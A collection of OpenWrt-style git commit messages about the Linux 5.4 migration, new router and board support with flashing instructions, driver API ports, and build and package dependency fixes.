[cosmetic DTS changes, remove TPLINK_HWREVADD := 0, do not use two
phyXtpt at once, add missing buttons, minor commit message adjustments]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
TP-Link Archer C60 v3 is a dual-band AC1350 router,
based on Qualcomm/Atheros QCA9561 + QCA9886.
It seems to be identical to the v2 revision, except that
it lacks a WPS LED and has different GPIO for amber WAN LED.
Specification:
- 775/650/258 MHz (CPU/DDR/AHB)
- 64 MB of RAM (DDR2)
- 8 MB of FLASH (SPI NOR)
- 3T3R 2.4 GHz
- 2T2R 5 GHz
- 5x 10/100 Mbps Ethernet
- 6x LED, 2x button
- UART header on PCB
Flash instruction (WebUI):
Download *-factory.bin image and upload it via the firmwary upgrade
function of the stock firmware WebUI.
Flash instruction (TFTP):
1. Set PC to fixed IP address 192.168.0.66
2. Download *-factory.bin image and rename it to tp_recovery.bin
3. Start a tftp server with the file tp_recovery.bin in its root
directory
4. Turn off the router
5. Press and hold reset button
6. Turn on router with the reset button pressed and wait ~15 seconds
7. Release the reset button and after a short time the firmware should
be transferred from the tftp server
8. Wait ~30 second to complete recovery
While TFTP works for OpenWrt images, my device didn't accept the
only available official firmware "Archer C60(EU)_V3.0_190115.bin".
In contrast to earlier revisions (v2), the v3 contains the (same)
MAC address twice, once in 0x1fa08 and again in 0x1fb08.
While the partition-table on the device refers to the latter, the
firmware image contains a different partition-table for that region:
name device firmware
factory-boot 0x00000-0x1fb00 0x00000-0x1fa00
default-mac 0x1fb00-0x1fd00 0x1fa00-0x1fc00
pin 0x1fd00-0x1fe00 0x1fc00-0x1fd00
product-info 0x1fe00-0x1ff00 0x1fd00-0x1ff00
device-id 0x1ff00-0x20000 0x1ff00-0x20000
While the MAC address is present twice, other data like the PIN isn't,
so with the partitioning from the firmware image the PIN on the device
would actually be outside of its partition.
Consequently, the patch uses the MAC location from the device (which
is the same as for the v2).
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Since there exists another variant of the Bullet M with AR7240 SoC
under the same name, this patch introduces the SoC into the device
name to be able to distinguish these variants.
Signed-off-by: Russell Senior <russell@personaltelco.net>
[add commit message, adjust model in DTS, fix 02_network and
SUPPORTED_DEVICES]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
* Prepare to support the AR7240 variant of ubiquiti bullet m, by
reorganizing the related dtsi files.
* Distribute SOC variable across ubnt-xm devices.
Signed-off-by: Russell Senior <russell@personaltelco.net>
The PoE hat supported on the RPi 3B+ and 4B comes with a rather
loud fan, tripped in two steps by the brcmstb_thermal
thermal_zone driver. Enabling writable trip points allow
users to adjust the fan trip points according to their
preferred temp/noise ratio.
This setting is enabled on most other targets with similar
thermal_zone controlled cooling devices.
Signed-off-by: Bjørn Mork <bjorn@mork.no>
We do not build images with a jffs2 rootfs, but jffs2 is still used as
filesystem for the rootfs_data.
Fixes: e3eaf57808 ("lantiq: kernel 5.4: debloat kernel config")
Signed-off-by: Mathias Kresin <dev@kresin.me>
When creating the mikrotik subtarget, the execute bit on 02_network
was not set. Fix it.
Fixes: a66eee6336 ("ath79: add mikrotik subtarget")
Reported-by: Christopher Hill <ch6574@gmail.com>
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
So far, specifying "BOARD_NAME := routerboard" is required by the
upgrade code of Mikrotik NAND devices, as "sysupgrade-routerboard"
is hardcoded in platform_do_upgrade_mikrotik_nand().
This patch replaces the latter with a grep for the name like it
is already done in nand_upgrade_tar() in /lib/upgrade/nand.sh.
By that, BOARD_NAME is obsolete now for this device.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
So far, specifying "BOARD_NAME := routerboard" is required by the
upgrade code of Mikrotik NAND devices, as "sysupgrade-routerboard"
is hardcoded in platform_do_upgrade_mikrotik_rb().
This patch replaces the latter with a grep for the name like it
is already done in nand_upgrade_tar() in /lib/upgrade/nand.sh.
This should enable upgrades from ar71xx to ath79 without setting
BOARD_NAME for the latter.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This commit creates the ath79/mikrotik subtarget in order to support
MikroTik devices based on Qualcomm Atheros MIPS SoCs.
MikroTik devices need a couple of specific features: the split MiNOR
firmware MTD format, which is not used by other devices, and the 4k
sector erase size on SPI NOR storage, which can not be added to the
ath79/generic and ath79/nand subtargets now.
Additionally, the commit moves the two MikroTik devices already in
the generic and nand subtargets to this new one.
Tested on the RB922 board and the wAP AC router.
Signed-off-by: Roger Pueyo Centelles <roger.pueyo@guifi.net>
Pogoplug V3/Pro has an interanl SATA port. To use it, DTS sata node should be
enabled, and kmod-ata-oxnas-sata package needs to be installed.
Fixes: FS#2542
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
Build the latest kernel by default, since testing did not show any
regressions.
Signed-off-by: Tomasz Maciej Nowak <tomek_n@o2.pl>
[fix merge conflict in tegra/Makefile]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
This commit also disables Trusted Foundations firmware support as this
feature won't be used by any device.
Signed-off-by: Tomasz Maciej Nowak <tomek_n@o2.pl>
[fix merge conflict in tegra/Makefile]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
This new symbol popped up in few places. Disable it in generic config.
Signed-off-by: Tomasz Maciej Nowak <tomek_n@o2.pl>
[fixed merge conflict in generic/config-5.4]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
More testing after kernel upgrade to 5.4 uncovered a regression: the user
led is not present anymore due to a pin mux "collision" in device tree.
A patch sent to upstream kernel was accepted now. Integrate this
pending fix as platform specific patch so that user led is available again.
Signed-off-by: Michael Heimpold <mhei@heimpold.de>
The etop driver is used by all targets except xrx200.
Remove the UBIFS compression support for zlib and zstd from the xway
subtarget. The hardware is EOL for a long time and it's unlikely to ever
see a board shipped with an UBIFS using these compression methods.
Remove the JFFS2 support. Support for jjfs2 images was dropped years
ago.
It shrinks the compressed kernel up to 130 KByte.
Signed-off-by: Mathias Kresin <dev@kresin.me>
Switch to the mainline Lantiq PCIe PHY driver and update the vr9.dtsi
accordingly.
The Lantiq IRQ SMP support added upstream required changes to the SoC
dtsi as well.
Following changes are made to the Lantiq kernel patches:
0005-lantiq_etop-pass-struct-device-to-DMA-API-functions.patch
0006-MIPS-lantiq-pass-struct-device-to-DMA-API-functions.patch
applied upstream
0008-MIPS-lantiq-backport-old-timer-code.patch
access_ok API update because it lost it's type (which was the first)
parameter in upstream commit 96d4f267e40f95 ("Remove 'type' argument
from access_ok() function")
0024-MIPS-lantiq-autoselect-soc-rev-matching-fw.patch
merged into 0026-MIPS-lantiq-Add-GPHY-Firmware-loader.patch
0024-MIPS-lantiq-revert-DSA-switch-driver-PMU-clock-chang.patch
revert upstream changes required for upstream xrx200 ethernet and
xrx200 (DSA) switch driver but breaking our driver
0026-MIPS-lantiq-Add-GPHY-Firmware-loader.patch
required for our driver but dropped upstream, add former upstream
version
0028-NET-lantiq-various-etop-fixes.patch
now has to use the phy_set_max_speed API instead of modifying
phydev->supported. Also call ltq_dma_enable_irq() in
ltq_etop_open() based on upstream commit cc973aecf0b054 ("MIPS:
lantiq: Do not enable IRQs in dma open")
Signed-off-by: Mathias Kresin <dev@kresin.me>
Signed-off-by: Martin Blumenstingl <martin.blumenstingl@googlemail.com>
This is referenced in two .dts but never actually used from userspace.
Drop support for this property because it's not used and because it
makes updating to Linux 5.4 harder (as the patch doesn't apply anymore).
Signed-off-by: Martin Blumenstingl <martin.blumenstingl@googlemail.com>
Duplicate kernel 4.19 config and patches for kernel 5.4.
Duplicate the devicetree source files as well, they need kernel 5.4
specific adjustments.
Signed-off-by: Mathias Kresin <dev@kresin.me>
Compiling the ltq-tapi driver against Linux 5.4 results in a compile
error complaining that the size of struct sched_param is not known.
Switch the existing "sched/types.h" include to reference
include/uapi/linux/sched/types.h to fix compilation against Linux 5.4.
Signed-off-by: Martin Blumenstingl <martin.blumenstingl@googlemail.com>
Upstream commit 84ede58dfcd1d ("crypto: hash - remove
CRYPTO_ALG_TYPE_DIGEST") drops the CRYPTO_ALG_TYPE_DIGEST define because
it has the same value as CRYPTO_ALG_TYPE_HASH. This was the case for
earlier kernels as well. Switch to CRYPTO_ALG_TYPE_HASH to fix building
against Linux 5.4.
Signed-off-by: Martin Blumenstingl <martin.blumenstingl@googlemail.com>
Upstream commit e4b92b108c6cd6 ("timekeeping: remove obsolete time
accessors") removed do_gettimeofday(). In Linux 4.19 this was only a
wrapper around ktime_get_real_ts64(). Use ktime_get_real_ts64() now that
the wrapper is gone to fix compilation against Linux 5.4.
Signed-off-by: Martin Blumenstingl <martin.blumenstingl@googlemail.com>
Upstream commit e4b92b108c6cd6 ("timekeeping: remove obsolete time
accessors") removed do_gettimeofday(). In Linux 4.19 this was only a
wrapper around ktime_get_real_ts64(). Use ktime_get_real_ts64() now that
the wrapper is gone to fix compilation against Linux 5.4.
Move the ifxmips_mei_interface header to the include directory, it can't
be found otherwise during compilation. The reason for the changed
behaviour is not yet clear, however having header files in an include
directory is more straight forward.
To use the of_device_id struct, the mod_devicetable header need to be
included. Instead of including this header, include the of_platform
header, which includes the mod_devicetable on its own.
Signed-off-by: Mathias Kresin <dev@kresin.me>
Upstream commit 96d4f267e40f95 ("Remove 'type' argument from access_ok()
function") removes the first argument to access_ok.
Adjust the code so it builds with Linux 5.4.
Signed-off-by: Martin Blumenstingl <martin.blumenstingl@googlemail.com>
Signed-off-by: Mathias Kresin <dev@kresin.me>
Beginning with linux 5.3, kmod-serial-8250 uses functions provided by
serial_mctrl_gpio.ko if GPIO support is enabled.
Signed-off-by: Mathias Kresin <dev@kresin.me>
It adjusts the code to upstream changes from the commit 3c1bcc8614db
("net: ethernet: Convert phydev advertize and supported from u32 to link
mode")
Signed-off-by: Mathias Kresin <dev@kresin.me>
For some reason pin 7 (gphy0_led1_pins) need to be set to output prior
to loading the PCI driver. Otherwise the wireless doesn't appear on the
PCI bus. Of course, it doesn't make much sense, since pin 7 is used to
drive the LAN1 led.
It can either be done by setting the pins function to GPHY or GPIO +
direction output. However, the pinctrl driver doesn't provide a way to
switch a pin to GPIO. It is done indirectly by the pinctrl driver at the
time a GPIO is requested (requesting a GPIO always resets the function
to GPIO).
Do it via pinmux driver, as it is always loaded first. Use the GPHY
function as it's the pins intended purpose for this board.
Fixes: FS#2895
Signed-off-by: Mathias Kresin <dev@kresin.me>
There is no such role as target maintainer anymore, one should always
send corresponding changes for the review and anyone from the commiters
is allowed to merge them or eventually use the hand break and NACK them.
Lets make it clear, that it is solely a community doing the maintenance
tasks.
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Acked-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Acked-by: Piotr Dymacz <pepe2k@gmail.com>
In 5.4 kernel old u32 array way of setting network features was dropped and linkmode is now the only way.
So lets migrate the EDMA driver to support linkmode.
Also, old get/set settings API for ethtool is also dropped so lets convert to new ksettings API while at it as it demands linkmode.
Now, gigabit works properly as well as ethtool.
Previously you would get this in ethtool:
root@OpenWrt:/# ethtool eth1
Settings for eth1:
Supports Wake-on: d
Wake-on: d
Current message level: 0x00000000 (0)
Link detected: yes
Now, features are properly advertised:
root@OpenWrt:/# ethtool eth1
Settings for eth1:
Supported ports: [ TP MII ]
Supported link modes: 10baseT/Half 10baseT/Full
100baseT/Half 100baseT/Full
1000baseT/Half 1000baseT/Full
Supported pause frame use: Symmetric Receive-only
Supports auto-negotiation: Yes
Supported FEC modes: Not reported
Advertised link modes: 10baseT/Half 10baseT/Full
100baseT/Half 100baseT/Full
1000baseT/Half 1000baseT/Full
Advertised pause frame use: Symmetric Receive-only
Advertised auto-negotiation: Yes
Advertised FEC modes: Not reported
Link partner advertised link modes: 10baseT/Half 10baseT/Full
100baseT/Half 100baseT/Full
1000baseT/Full
Link partner advertised pause frame use: No
Link partner advertised auto-negotiation: No
Link partner advertised FEC modes: Not reported
Speed: 1000Mb/s
Duplex: Full
Port: Twisted Pair
PHYAD: 4
Transceiver: internal
Auto-negotiation: on
MDI-X: Unknown
Supports Wake-on: d
Wake-on: d
Current message level: 0x00000000 (0)
Link detected: yes
Signed-off-by: Robert Marko <robert.marko@sartura.hr>
In 5.4 kernel old u32 array way of setting network features was dropped and linkmode is now the only way.
So lets migrate the PHY driver to support linkmode.
Also, now in order for gigabit to work, PHY driver needs to advertise PHY_GBIT_FEATURES instead of PHY_BASIC_FEATURES
Signed-off-by: Robert Marko <robert.marko@sartura.hr>
of_get_mac_address returns valid pointer or ERR_PTR since 5.2 via commit
d01f449c008a ("of_net: add NVMEM support to of_get_mac_address") so the
patch fixes following OOPs on nbg6617:
Unable to handle kernel paging request at virtual address ffffffed
CPU: 1 PID: 1 Comm: swapper/0 Not tainted 5.4.24 #0
PC is at edma_axi_probe+0x444/0x1114
LR is at bus_find_device+0x88/0x9c
Where the PC can be resolved to:
>>> l *edma_axi_probe+0x444
0xc067be5c is in edma_axi_probe (./include/linux/string.h:378).
>>> l *edma_axi_probe+0x43f
0xc067be57 is in edma_axi_probe (drivers/net/ethernet/qualcomm/essedma/edma_axi.c:936)
Which leads to the following code fragment:
935 mac_addr = of_get_mac_address(pnp);
936 if (mac_addr)
937 memcpy(edma_netdev[idx_mac]->dev_addr, mac_addr, ETH_ALEN);
Where using mac_addr=0xffffffed (-ENODEV) as source address in memcpy()
is causing the OOPs.
Acked-by: John Crispin <john@phrozen.org>
Signed-off-by: Petr Štetiar <ynezz@true.cz>
These new options are common for all subtargets and can be moved into target kconfig.
Signed-off-by: Aleksander Jan Bajkowski <A.Bajkowski@stud.elka.pw.edu.pl>
This was done by executing these command for all subtargets:
$ time make -j9 kernel_oldconfig CONFIG_TARGET=subtarget
Signed-off-by: Aleksander Jan Bajkowski <A.Bajkowski@stud.elka.pw.edu.pl>
These patches are already in mainline 5.4 kernel:
* 010-v5.3-drivers-ata-ahci_sunxi-Increased-SATA-AHCI-DMA-TX-RX.patch
* 101-arm64-dts-allwinner-a64-Enable-A64-timer-workaround.patch
Signed-off-by: Aleksander Jan Bajkowski <A.Bajkowski@stud.elka.pw.edu.pl>
Seems to be working fine on apu2 and QEMU, it's 99.9% upstream stuff
anyway. Lets start wider userbase testing.
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Commit 432ec292cc ("rpcd: add respawn param") has introduced infinite
restarting of the service which could be reached over network. This is
not recommended security practice as it might give potential adversary
infinite number of tries in case there might be some issue in the rpcd
or its surrounding stack.
So lets remove the currently bogus `respawn_retry` variable (it wasn't
possible to override it anyway), reverting to the previous default max.
of 5 service restarts which could be now overriden via system's UCI
settings if desired.
Cc: Jo-Philip Wich <jow@mein.io>
Cc: Florian Eckert <fe@dev.tdt.de>
Cc: Hauke Mehrtens <hauke@hauke-m.de>
Fixes: 432ec292cc ("rpcd: add respawn param")
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Been running it for a few days on RPi0W PMS sensor node and on RPi4.
Lets start wider userbase testing.
Cc: Stijn Tintel <stijn@linux-ipv6.be>
Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
Signed-off-by: Petr Štetiar <ynezz@true.cz>
WG2600HP has its WLAN MAC addresses at PRODUCTDATA 0xc and 0x12, so
use them both directly.
Signed-off-by: Yanase Yuki <dev@zpc.sakura.ne.jp>
[commit title/message clarification]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The default case will catch anything left, there is no need to
explicitly add any device to it.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Solve missing references to nftnl_set_list_lookup_byname when building
iptables with Nftables support enabled (CONFIG_IPTABLES_NFTABLES)
Bump the ABI version to force everything to match.
/Users/kevin/wrt/staging_dir/toolchain-x86_64_gcc-9.2.0_musl/lib/gcc/x86_64-openwrt-linux-musl/9.2.0/../../../../x86_64-openwrt-linux-musl/bin/ld: xtables_nft_multi-nft-bridge.o: in function `nft_bridge_parse_lookup':
nft-bridge.c:(.text.nft_bridge_parse_lookup+0xcd): undefined reference to `nftnl_set_list_lookup_byname'
/Users/kevin/wrt/staging_dir/toolchain-x86_64_gcc-9.2.0_musl/lib/gcc/x86_64-openwrt-linux-musl/9.2.0/../../../../x86_64-openwrt-linux-musl/bin/ld: xtables_nft_multi-nft-cache.o: in function `nftnl_set_list_cb':
nft-cache.c:(.text.nftnl_set_list_cb+0x80): undefined reference to `nftnl_set_list_lookup_byname'
/Users/kevin/wrt/staging_dir/toolchain-x86_64_gcc-9.2.0_musl/lib/gcc/x86_64-openwrt-linux-musl/9.2.0/../../../../x86_64-openwrt-linux-musl/bin/ld: xtables_nft_multi-nft-cache.o: in function `fetch_set_cache':
nft-cache.c:(.text.fetch_set_cache+0x10a): undefined reference to `nftnl_set_list_lookup_byname'
collect2: error: ld returned 1 exit status
make[6]: *** [xtables-nft-multi] Error 1
make[5]: *** [all] Error 2
make[4]: *** [all-recursive] Error 1
make[3]: *** [all] Error 2
make[2]: *** [/Users/kevin/wrt/build_dir/target-x86_64_musl/linux-x86_64/iptables-1.8.4/.built] Error 2
make[2]: Leaving directory `/Users/kevin/wrt/package/network/utils/iptables'
Signed-off-by: Kevin Darbyshire-Bryant <ldir@darbyshire-bryant.me.uk>
Currently kmod-i2c-mux-* will not get into images unless kmod-i2c-mux is added
to DEVICE_PACKAGES as well. By changing the dependencies from "depends on" to
"select", we do not have the issue anymore.
Furthermore, we can remove most occurrences of the package from DEVICE_PACKAGES
and similar variables, as it is now pulled by dependent modules such as:
- kmod-i2c-mux-pca954x
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
As it seeems these patches are for OpenWrt and they are not going to be merged
to mainline, let's merge them to improve maintainability.
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
Follow the guideline suggested in e417ff88f1 ("ramips: harmonize line breaks
in image Makefiles").
While at it, fix typos in the device title of Akitio MyCloud.
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
The mux need to be defined in a subnode to be considered by the pinctrl
framework. These muxes aren't set as expected and might cause not
working subsystems.
Fixes: 8e7b573b7a ("lantiq: dts: assign the PCI pins to the PCI controller node")
Fixes: dcb5e52209 ("lantiq: dts: assign the STP pins to the STP GPIO controller node")
Fixes: 660200e53d ("lantiq: dts: assign the GPHY LED pins to the Ethernet controller node")
Signed-off-by: Mathias Kresin <dev@kresin.me>
This reverts commit a6da3f9ef7.
The libcap isn't as optional as the commit messages suggests. A hard
dependency to the libcap package is added, which is only available in
the external packages feed. Therefore it is impossible to package
ip-full without having the external packages feed up and running, which
is a regression to the former behaviour.
Signed-off-by: Mathias Kresin <dev@kresin.me>
Acked-by: Hans Dedecker <dedeckeh@gmail.com>
The pkgconf fork filters -I and -L flag values from .pc files which match
pkgconf's builtin system directory value.
During configure, pkgconf derives the default system include and library
search path values from exec_prefix, which is set to staging_dir/host in
the host tool build phase.
Due to that, pkgconf will drop all -I and -L flags pointing to
staging_dir/host/include or staging_dir/host/lib, unless invoked with
--keep-system-cflags and --keep-system-libs respectively, breaking our
kernel libelf discovery / stack validation workarounds.
In order to inhibit the filtering, add --keep-system-cflags and
--keep-system-libs to our pkg-config shell wrapper.
Fixes: GH#2832
Fixes: 867298cf47 ("tools/pkg-config: Replace with pkgconf")
Ref: https://lists.infradead.org/pipermail/openwrt-devel/2020-March/022182.html
Ref: https://git.openwrt.org/fe43969336201f2cc7d103b68fd6e65989bee184
Signed-off-by: Jo-Philipp Wich <jo@mein.io>
Acked-by: Petr Štetiar <ynezz@true.cz>
6594c6b ubus: use dhcpv6 ia assignment flag
a90cc2e dhcpv6-ia: avoid setting lifetime to infinite for static assignments
bb07fa4 dhcpv4: avoid setting lifetime to infinite for static assignments
Signed-off-by: Hans Dedecker <dedeckeh@gmail.com>
Bump to iptable 1.8.4 and address packaging issue as mentioned in the
original bump/revert cycle.
"This reverts commit 10cbc896c0.
The updated iptables package does not build due to the following error
encountered on the buildbots:
cp: cannot stat '.../iptables-1.8.4/ipkg-install/usr/lib/libiptc.so.*': No such file or directory
The changelog mentions "build: remove -Wl,--no-as-needed and libiptc.so" so
it appears as if further packaging changes are needed beyond a simple
version bump."
Signed-off-by: Kevin Darbyshire-Bryant <ldir@darbyshire-bryant.me.uk>
Lets enable RAW NAND and Qcom NANDC drivers again in kernel 5.4.
They were dropped when 5.4 support was introduced due to upstream
changing the symbol names so refreshing was not enough.
Signed-off-by: Robert Marko <robert.marko@sartura.hr>
[cut long line in commit message, enabled BCH as well]
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
Fixes following error uncovered while building ath79/tiny on 5.4:
Package kmod-hwmon-sch5627 is missing dependencies for the following
libraries:
watchdog.ko
See the similar commit e546e6252b ("malta: fix missing watchdog core
dependency for hwmon-sch5627") for a detailed explanation.
Signed-off-by: David Bauer <mail@david-bauer.net>
This commit removes the target-specific diag.sh script. This way, the
generic one is used for the target, which uses DT-aliases to specify the
LEDs used.
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
Tested-by: Ansuel Smith <ansuelsmth@gmail.com> [wrt3200acm @ 5.4]
The TP-Link RE450 as well as the UniFi AC series missed the phy-mode
property. Because of this, the incorrect MII phy-mode from the root dtsi
was used.
With Kernel 5.4, this leads to problems when used with a AR8033 PHY. The
bootloader seems to leave the fiber pages selected.
As there's not switch to copper pages happening in at803x_config_init
due to the incorrect phy-mode, the new at803x_read_status will interpret
the status of the SGMII side as the status of the copper side.
Signed-off-by: David Bauer <mail@david-bauer.net>
This patch removes the 4.14 kernel support from the apm821xx target.
The 4.19 kernel has been available and stable for a while and the 5.4
kernel support has been tested successfully on real hardware as well.
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
As part of the kernel build process there are utilities built to run on
the host system that expect linux kernel headers to be available.
Unfortunately macos/darwin doesn't have these headers.
vdso2c requires types.h so provide a minimal stub to satisfy it.
Signed-off-by: Kevin Darbyshire-Bryant <ldir@darbyshire-bryant.me.uk>
The ag71xx driver from Linux 5.4 currently has various shortcomings
when used with OpenWrt compared to our downstream version.
For example, the upstream driver does not support modifying the ethernet
clock and configuring RGMII delays on the MAC side.
While we should certainly switch to the upstream driver, the amount of
necessary patches would make it cumbersome to work with. It's also
highly likely we won't be able to finish patching the upstream driver in
time for a Linux 5.4 release.
Tested on Siemens WS-AP3610.
CC: Hauke Mehrtens <hauke@hauke-m.de>
Signed-off-by: David Bauer <mail@david-bauer.net>
Acked-by: Hauke Mehrtens <hauke@hauke-m.de>
Currently kmod-i2c-* will not get into images unless kmod-i2c-core is added to
DEVICE_PACKAGES as well. By changing the dependencies from "depends on" to
"select", we do not have the issue anymore.
Furthermore, we can remove most occurrences of the package from DEVICE_PACKAGES
and similar variables, as it is now pulled by dependent modules such as:
- kmod-hwmon-lm75
- kmod-i2c-gpio
- kmod-i2c-gpio-custom
- kmod-i2c-mux
- kmod-i2c-ralink
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
[do not touch ar71xx]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Currently kmod-hwmon-* will not get into images unless kmod-hwmon-core is added
to DEVICE_PACKAGES as well. By changing the dependencies from "depends on" to
"select", we do not have the issue anymore.
Furthermore, we can remove most occurrences of the package from DEVICE_PACKAGES
and similar variables, as it is now pulled by dependent modules such as:
- kmod-hwmon-gpiofan
- kmod-hwmon-lm63
- kmod-hwmon-lm75
- kmod-hwmon-lm85
- kmod-hwmon-lm90
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
[do not touch ar71xx, adjust line wrapping]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
TOTOLINK A3 is a clone of ipTIME A3. The only difference is the model name.
Specifications:
- SoC: MT7628AN
- RAM: DDR2 64MB
- Flash: SPI NOR 8MB
- WiFi:
- 2.4GHz: SoC internal
- 5GHz: MT7612EN
- Ethernet: 3x 10/100Mbps
- Switch: SoC internal
Installation via web interface:
1. Flash **initramfs** image through the stock web interface.
2. Boot into OpenWrt and perform sysupgrade with sysupgrade image.
Revert to stock firmware:
1. Perform sysupgrade with stock image.
Tested on device by JasonHCH <hsuan670629@gmail.com>
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
This adds support for the TP-Link TL-WR740N v5, a clone of the
v4 only with a different TPLINK_HWID. It was already supported
in ar71xx as well.
Specifications:
SOC: Atheros AR9331
CPU: 400MHz
Flash: 4 MiB
RAM: 32 MiB
WLAN: Atheros AR9330 bgn
Ethernet: 5 ports (100M)
Flashing instructions:
- Flash factory image from OEM WebUI:
openwrt-ath79-tiny-tplink_tl-wr740n-v5-squashfs-factory.bin
- Sysupgrade from ar71xx image:
openwrt-ath79-tiny-tplink_tl-wr740n-v5-squashfs-sysupgrade.bin
Signed-off-by: Jun Su <howard0su@gmail.com>
[commit title/message facelift]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
By default on module load, 2 ifb interfaces are created and typically
remain unused, cluttering 'ip link' outputs and generally confusing
things. sqm-scripts for example, creates its own ifb interface/s
instead of using these 2 defaults ifbs.
Tell the ifb module to not create any default ifbs on load via the
numifbs parameter.
Signed-off-by: Kevin Darbyshire-Bryant <ldir@darbyshire-bryant.me.uk>
When support for network namespaces was added to procd, adding the
corresponding jail flag in procd.sh was ommitted. Add it now.
Fixes: 97a03a4760 ("procd: update to latest git HEAD")
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
The NAND config symbols were removed unintentionally while adding
support for Linux 5.4.
Add the respective symbols for v4.19 as well as v5.4.
Signed-off-by: David Bauer <mail@david-bauer.net>
This patch adds support for GW5907/GW5910/GW5912/GW5913 IMX6 based boards
from the Gateworks Ventana Family[A]:
- backport upstream dt patches from 5.6 to 4.19 and 5.4
- add dtb's to ventana images
- add board-name and network config
A. https://www.gateworks.com/products/imx6-single-board-computer-gateworks-ventana-family
Flashing instructions for Ventana boards:
Using pre-flashed bootloader:
- Use appropriate ubi image depending on board NAND to flash via bootloader:
openwrt-imx6-ventana-squashfs-nand.ubi - 2KiB page size
openwrt-imx6-ventana-large-squashfs-nand.ubi - 4KiB page size
http://trac.gateworks.com/wiki/linux/ubi
Using Gateworks JTAG dongle:
- Use Gateworks mkimage_jtag script to create a JTAG image comprised of
pre-built bootloader and ubi image:
http://trac.gateworks.com/wiki/jtag_instructions
Signed-off-by: Tim Harvey <tharvey@gateworks.com>
The wildcard used in the network config matching is not necessary
given the board names returned by imx6_board_detect() in lib/imx6.sh.
Signed-off-by: Tim Harvey <tharvey@gateworks.com>
Require the image metadata check so no invalid image could be fed to
sysupgrade without force option.
Cc: Mathew McBride <matt@traverse.com.au>
Signed-off-by: Tomasz Maciej Nowak <tomek_n@o2.pl>
Instead of dangerous rewriting full chip with firmware.bin image to
update OpenWrt, add sysupgrade image. This image will be used to update
kernel and rootfs, leaving bootloader intact and making recovery
possible, without resorting to external hardware tools.
Signed-off-by: Tomasz Maciej Nowak <tomek_n@o2.pl>
Combine fixed sizes of "kernel" and "rootfs" partitions into one
partition managed by OpenWrt splitter, it will allow better management
of chip capacity and less maintenance burden when compiled kernel image
will outgrow allocated size for kernel partition. This also changes kernel
image format, since splitter only manages kernel and rootfs partitions,
the dtb needs to be updated with the kernel, so for convenience, kernel is
packed to FIT image.
Signed-off-by: Tomasz Maciej Nowak <tomek_n@o2.pl>
This commit replaces UBIFS root partition with squashfs+overlay. It's
preparation for introducing dynamic partitioning.
Signed-off-by: Tomasz Maciej Nowak <tomek_n@o2.pl>
Uncompressing of initramfs image fails on board with U-Boot from "QorIQ
SDK (FSL Reference Distro) 2.0".
Signed-off-by: Tomasz Maciej Nowak <tomek_n@o2.pl>
Re-add support for NXP FRDM-LS1012A, which mimics the flash layout of the
rest boards supported by LSDK.
0x000000000000-0x000000100000 : "bl2"
0x000000100000-0x000000500000 : "fip"
0x000000500000-0x000000600000 : "u-boot-env"
0x000000600000-0x000000a00000 : "reserved-1"
0x000000a00000-0x000000d00000 : "pfe"
0x000000d00000-0x000000f00000 : "reserved-2"
0x000000f00000-0x000001000000 : "dtb"
0x000001000000-0x000002000000 : "kernel"
0x000002000000-0x000004000000 : "ubifs"
Specification
SoC: LS1012A single core 800MHz
RAM: 512 MB DDR3
Flash: 64 MB QSPI NOR
Ethernet: 2x 10/100/1000 Mbps
Connectors: µUSB 3.0 OTG
µUSB 2.0 (debugging & power input)
2x 3.5mm jack for microphone & headphone (SGTL5000)
Arduino Shield expansion with I2C, SPI, UART, and GPIO
JTAG
LEDS: 3x (non-configurable)
Buttons: 1x (reset, non-configurable)
Be advised that erasing or writing 64MB flash takes some time to finish.
Do not reset the board until all operations end with success, otherwise
You'll need external tools to re-program the flash chip.
Installation
Follow the QSPI programing procedure for LS1012AFRWY board in
target/linux/layerscape/README, point 3.3.
Don't forget about updating U-Boot environment with MAC addresses of
ethernet interfaces, variable 'ethaddr' for eth0 and 'eth1addr' for eth1.
As the LSDK images do not support sysupgrade, nor do changes in this
commit, it's planed in upcoming submissions.
Signed-off-by: Tomasz Maciej Nowak <tomek_n@o2.pl>
This patch adds a few symbols that I found that
need disabling in order to not break the build of octeontx
Signed-off-by: Tim Harvey <tharvey@gateworks.com>
This patch backports the upstream patch that adds the 4B_OPCODES flag to w25q256 under 5.4 kernel.
This is needed for ipq40xx and ramips.
Signed-off-by: Robert Marko <robimarko@gmail.com>
This patch backports the upstream patch that adds the 4B_OPCODES flag to w25q256 under 4.19 kernel.
This is needed for ipq40xx and ramips.
Signed-off-by: Robert Marko <robimarko@gmail.com>
Run-tested 5.4 on Shuttle KD20 for some days now, everything seems
fine so far. Let's have snapshot builds based on 5.4.
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
This target was switched to kernel 4.19 more than 6 months ago in commit
f342ffd300 ("treewide: kernel: bump some targets to 4.19") and now
with kernel 5.4 support being added it gets harder to support kernel
4.14 in addition to kernel 4.19 and 5.4.
